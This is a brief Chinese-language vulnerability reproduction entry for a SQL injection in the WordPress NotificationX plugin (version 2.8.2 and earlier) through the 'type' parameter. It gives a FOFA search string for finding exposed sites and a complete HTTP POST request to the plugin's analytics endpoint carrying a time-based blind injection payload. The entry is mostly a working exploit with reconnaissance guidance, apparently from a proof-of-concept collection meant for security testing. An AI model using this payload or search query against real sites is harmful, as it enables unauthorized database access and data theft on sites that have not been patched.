W2-1WordPress-NotificationX插件-SQL

漏洞描述：

WordPress plugin NotificationX是一个应用插件。2.8.2版本及之前 存在安全漏洞，该漏洞源于对用户提供的参数转义不充分以及对现有 SQL 查询缺乏充分的准备，很容易通过“type”参数受到 SQL 注入攻击。

网络测绘：

fofa语法：

FOFA：body="/wp-content/plugins/notificationx"

漏洞复现：

payload：

```
POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
```

效果图:
延时注入并非实际返回时间